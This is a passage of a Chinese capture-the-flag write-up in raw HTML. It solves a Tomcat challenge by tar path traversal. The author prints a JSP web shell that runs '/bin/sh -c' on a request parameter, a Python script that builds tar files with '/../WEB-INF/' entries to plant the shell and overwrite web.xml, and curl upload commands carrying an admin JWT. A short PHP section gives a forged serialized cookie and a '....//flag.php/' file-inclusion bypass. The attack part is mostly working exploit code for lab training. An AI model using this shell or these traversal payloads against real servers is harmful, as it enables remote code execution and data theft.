leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 解压tar到uploads</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">private</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">void</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">doUnTar</span></span><span style="line-height: 26px;"><span leaf="">(HttpServletRequest req, HttpServletResponse resp)</span></span></span><span leaf="">{</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 从 backup/out.tar 解压</span></span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">上传tar文件会保存到/tmp/out.tar，然后自动解压tar文件，并且没有对路径进行校验，直接可以写</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// AdminDashboardServlet.uploadTar() 中的漏洞代码</span></span><span leaf=""><br/></span><span leaf="">String fileDir = getServletContext().getRealPath(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/&#34;</span></span><span leaf="">) + </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;uploads&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// fileDir = &#34;/usr/local/tomcat/webapps/ROOT/uploads&#34;</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> ((entry = tis.getNextEntry()) != </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">null</span></span><span leaf="">) {</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ⚠️ entry.getName() 直接来自tar文件，可以包含 &#34;../&#34;</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 例如: entry.getName() = &#34;/../shell.jsp&#34;</span></span><span leaf=""><br/></span><span leaf="">    File dest = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> File(fileDir, entry.getName());</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// new File(&#34;/usr/local/tomcat/webapps/ROOT/uploads&#34;, &#34;/../shell.jsp&#34;)</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// Java会自动解析路径: /usr/local/tomcat/webapps/ROOT/uploads/../shell.jsp</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 规范化后: /usr/local/tomcat/webapps/ROOT/shell.jsp</span></span><span leaf=""><br/></span><span leaf="">    dest.getParentFile().mkdirs();  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 确保父目录存在</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// 写入文件 - JSP文件被写入到webapp根目录！</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf=""> (BufferedOutputStream bos = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> BufferedOutputStream(</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> FileOutputStream(dest))) {</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf="">// ...写入内容</span></span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">写入文件后不解析</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.28055555555555556" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030125" src="https://wechat2rss.xlab.app/img-proxy/?k=9e0c16b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgFiajVibiaxXkxEd4eB9NCDArxznLTBMGRFFkj8C6NOjf9pWzLRbdl6LdOA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">参考<a href="https://www.ctfiot.com/201747.html" target="_blank">https://www.ctfiot.com/201747.html</a><a class="wx_topic_link" topic-id="mj5cymfz-4yrjnh" style="color: #576B95 !important;" data-topic="1">#tomtom2</a>，通过覆盖 web.xml 将 XML 文件映射为 JSP 执行</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf="">shell</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet-name</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">jsp-file</span></span><span leaf="">&gt;</span></span><span leaf="">/WEB-INF/shell.xml</span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">jsp-file</span></span><span leaf="">&gt;</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span leaf="">&lt;/</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">servlet</span></span><span leaf="">&gt;</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">于是创建shell.xml文件</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">&lt;%@ page language=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;java&#34;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf="">=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;java.util.*,java.io.*&#34;</span></span><span leaf=""> pageEncoding=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;UTF-8&#34;</span></span><span leaf="">%&gt;</span><span leaf=""><br/></span><span leaf="">&lt;%</span><span leaf=""><br/></span><span leaf="">String cmd = request.getParameter(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;cmd&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf="">(cmd != </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">null</span></span><span leaf=""> &amp;&amp; !cmd.isEmpty()) {</span><span leaf=""><br/></span><span leaf="">    String[] cmds = {</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/sh&#34;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;-c&#34;</span></span><span leaf="">, cmd};</span><span leaf=""><br/></span><span leaf="">    Process p = Runtime.getRuntime().exec(cmds);</span><span leaf=""><br/></span><span leaf="">    BufferedReader br = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> BufferedReader(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> InputStreamReader(p.getInputStream()));</span><span leaf=""><br/></span><span leaf="">    String line;</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf="">((line = br.readLine()) != </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">null</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">        out.println(line);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    br.close();</span><span leaf=""><br/></span><span leaf="">    BufferedReader err = </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> BufferedReader(</span><span style="color: #c678dd;line-height: 26px;"><span leaf="">new</span></span><span leaf=""> InputStreamReader(p.getErrorStream()));</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">while</span></span><span leaf="">((line = err.readLine()) != </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">null</span></span><span leaf="">) {</span><span leaf=""><br/></span><span leaf="">        out.println(line);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    err.close();</span><span leaf=""><br/></span><span leaf="">} </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">else</span></span><span leaf=""> {</span><span leaf=""><br/></span><span leaf="">    out.println(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Usage: ?cmd=your_command&#34;</span></span><span leaf="">);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">%&gt;</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">创建恶意tar文件</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> tarfile</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> io</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Step 1: 创建 shell.xml 的 tar</span></span><span leaf=""><br/></span><span leaf="">shell_xml = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;&#39;&#39;&lt;%@ page language=&#34;java&#34; import=&#34;java.util.*,java.io.*&#34; pageEncoding=&#34;UTF-8&#34;%&gt;</span><span leaf=""><br/></span><span leaf="">&lt;%</span><span leaf=""><br/></span><span leaf="">String cmd = request.getParameter(&#34;cmd&#34;);</span><span leaf=""><br/></span><span leaf="">if(cmd != null &amp;&amp; !cmd.isEmpty()) {</span><span leaf=""><br/></span><span leaf="">    String[] cmds = {&#34;/bin/sh&#34;, &#34;-c&#34;, cmd};</span><span leaf=""><br/></span><span leaf="">    Process p = Runtime.getRuntime().exec(cmds);</span><span leaf=""><br/></span><span leaf="">    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));</span><span leaf=""><br/></span><span leaf="">    String line;</span><span leaf=""><br/></span><span leaf="">    while((line = br.readLine()) != null) {</span><span leaf=""><br/></span><span leaf="">        out.println(line);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    br.close();</span><span leaf=""><br/></span><span leaf="">    BufferedReader err = new BufferedReader(new InputStreamReader(p.getErrorStream()));</span><span leaf=""><br/></span><span leaf="">    while((line = err.readLine()) != null) {</span><span leaf=""><br/></span><span leaf="">        out.println(line);</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">    err.close();</span><span leaf=""><br/></span><span leaf="">} else {</span><span leaf=""><br/></span><span leaf="">    out.println(&#34;Usage: ?cmd=your_command&#34;);</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">%&gt;&#39;&#39;&#39;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">with</span></span><span leaf=""> tarfile.open(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;step1_shell.tar&#39;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;w&#39;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> tar:</span><span leaf=""><br/></span><span leaf="">    info = tarfile.TarInfo(name=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/../WEB-INF/shell.xml&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    info.size = len(shell_xml)</span><span leaf=""><br/></span><span leaf="">    tar.addfile(info, io.BytesIO(shell_xml))</span><span leaf=""><br/></span><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Created step1_shell.tar&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Step 2: 创建 web.xml 的 tar (保留 admin 路由)</span></span><span leaf=""><br/></span><span leaf="">web_xml = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#39;&#39;&#39;&lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&gt;</span><span leaf=""><br/></span><span leaf="">&lt;web-app xmlns=&#34;<a href="http://xmlns.jcp.org/xml/ns/javaee" target="_blank">http://xmlns.jcp.org/xml/ns/javaee</a>&#34;</span><span leaf=""><br/></span><span leaf="">         xmlns:xsi=&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span><span leaf=""><br/></span><span leaf="">         xsi:schemaLocation=&#34;<a href="http://xmlns.jcp.org/xml/ns/javaee" target="_blank">http://xmlns.jcp.org/xml/ns/javaee</a> <a href="http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" target="_blank">http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd</a>&#34;</span><span leaf=""><br/></span><span leaf="">         version=&#34;4.0&#34;&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;servlet&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;servlet-name&gt;AdminDashboardServlet&lt;/servlet-name&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;servlet-class&gt;com.ctf.AdminDashboardServlet&lt;/servlet-class&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;multipart-config&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;max-file-size&gt;10485760&lt;/max-file-size&gt;</span><span leaf=""><br/></span><span leaf="">      &lt;max-request-size&gt;20971520&lt;/max-request-size&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;/multipart-config&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;/servlet&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;servlet-mapping&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;servlet-name&gt;AdminDashboardServlet&lt;/servlet-name&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;url-pattern&gt;/admin/*&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;/servlet-mapping&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;servlet&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;servlet-name&gt;shell&lt;/servlet-name&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;jsp-file&gt;/WEB-INF/shell.xml&lt;/jsp-file&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;load-on-startup&gt;1&lt;/load-on-startup&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;/servlet&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;servlet-mapping&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;servlet-name&gt;shell&lt;/servlet-name&gt;</span><span leaf=""><br/></span><span leaf="">    &lt;url-pattern&gt;/shell&lt;/url-pattern&gt;</span><span leaf=""><br/></span><span leaf="">  &lt;/servlet-mapping&gt;</span><span leaf=""><br/></span><span leaf="">&lt;/web-app&gt;&#39;&#39;&#39;</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">with</span></span><span leaf=""> tarfile.open(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;step2_webxml.tar&#39;</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;w&#39;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">as</span></span><span leaf=""> tar:</span><span leaf=""><br/></span><span leaf="">    info = tarfile.TarInfo(name=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#39;/../WEB-INF/web.xml&#39;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    info.size = len(web_xml)</span><span leaf=""><br/></span><span leaf="">    tar.addfile(info, io.BytesIO(web_xml))</span><span leaf=""><br/></span><span leaf="">print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;Created step2_webxml.tar&#34;</span></span><span leaf="">)</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">上传tar文件</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Admin JWT Token</span></span><span leaf=""><br/></span><span leaf="">JWT=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJhZG1pbiIsImV4cCI6MTk5OTk5OTk5OX0.WGeso0XE0kS31XApeYw3uaSmsGRd4F0TfX7hdjyese668Kr4eAROwWIWRxXMaV1ByA7hWd_ZtEl-XM5ymBuctQ&#34;</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Step 1: 上传 shell.xml</span></span><span leaf=""><br/></span><span leaf="">curl -s -X POST </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="http://192.168.18.25:25004/admin/upload" target="_blank">http://192.168.18.25:25004/admin/upload</a>&#34;</span></span><span leaf=""> \</span><span leaf=""><br/></span><span leaf="">  -b </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;jwt=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${JWT}</span></span><span leaf="">&#34;</span></span><span leaf=""> \</span><span leaf=""><br/></span><span leaf="">  -F </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;file=@step1_shell.tar&#34;</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 返回: {&#34;status&#34;:&#34;ok&#34;}</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Step 2: 验证 shell.xml 已存在</span></span><span leaf=""><br/></span><span leaf="">curl -s </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="http://192.168.18.25:25004/download?path=uploads/..%2fWEB-INF%2fshell.xml" target="_blank">http://192.168.18.25:25004/download?path=uploads/..%2fWEB-INF%2fshell.xml</a>&#34;</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 返回: shell.xml 内容</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># Step 3: 上传覆盖 web.xml</span></span><span leaf=""><br/></span><span leaf="">curl -s -X POST </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;<a href="http://192.168.18.25:25004/admin/upload" target="_blank">http://192.168.18.25:25004/admin/upload</a>&#34;</span></span><span leaf=""> \</span><span leaf=""><br/></span><span leaf="">  -b </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;jwt=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">${JWT}</span></span><span leaf="">&#34;</span></span><span leaf=""> \</span><span leaf=""><br/></span><span leaf="">  -F </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;file=@step2_webxml.tar&#34;</span></span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 返回: {&#34;status&#34;:&#34;ok&#34;}</span></span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">访问/shell执行命令，在环境变量中</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.2537037037037037" data-type="png" data-w="1080" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030127" src="https://wechat2rss.xlab.app/img-proxy/?k=e2a26a24&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBSIJEATW5gHm24hdvJoYjgF3UOagZm27zeAaZCInXVMAd0fu8HLINw31E7VtzQ38SghViaLUyLH9gg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">pcb5-ez_php</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">能够通过Cookie: identification=TzoxMjoiU2Vzc2lvblxVc2VyIjoxOntzOjIyOiIAU2Vzc2lvblxVc2VyAHVzZXJuYW1lIjtzOjU6ImFkYWRtaW5taW4iO30= 转到dashboard.php</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">有文件上传和文件包含，应该是结合起来打</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">/dashboard.php?filename=test.txt</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">打docker裸文件包含但是要绕过php文件后缀</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">绕过有点脑洞：filename=....//flag.php/</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 